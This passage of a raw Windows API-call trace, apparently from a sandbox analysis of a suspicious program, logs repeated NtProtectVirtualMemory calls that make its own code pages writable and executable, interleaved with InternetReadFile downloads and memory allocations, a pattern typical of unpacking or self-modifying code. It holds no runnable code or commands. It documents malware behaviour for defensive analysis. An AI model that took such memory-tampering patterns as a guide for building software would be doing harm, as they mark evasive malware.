BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.835] VirtualFree (lpAddress=0x1e854000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0136.840] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.888] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.898] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.907] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.911] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0136.918] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.935] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.947] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.968] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.028] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.039] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.048] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.052] VirtualAlloc (lpAddress=0x1e854000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e854000 [0137.058] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.068] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.088] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.099] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.108] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.155] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.163] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.179] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.187] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.266] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.277] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.293] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.303] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.313] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.317] VirtualFree (lpAddress=0x1e840000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0137.322] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.338] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.347] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.359] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.370] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.426] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.439] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.462] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.475] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.491] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.498] VirtualAlloc (lpAddress=0x1eab4000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1eab4000 [0137.505] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.528] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.538] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.598] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.611] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.624] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.632] VirtualFree (lpAddress=0x1e864000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0137.640] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.653] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.673] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.687] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.712] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.728] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.743] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.761] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0137.769] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.784] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.827] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.843] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.858] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.908] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.916] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.935] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.944] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.957] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.967] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.979] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0138.006] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0138.014] VirtualAlloc (lpAddress=0x1e864000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e864000 [0138.020] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0138.041] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0138.055] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0138.068] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0138.102] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0138.114] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0138.186] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0138.201] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0138.212] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0138.230] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0138.243] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0138.276] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0138.290] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0138.302] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0138.361] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0138.374] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, 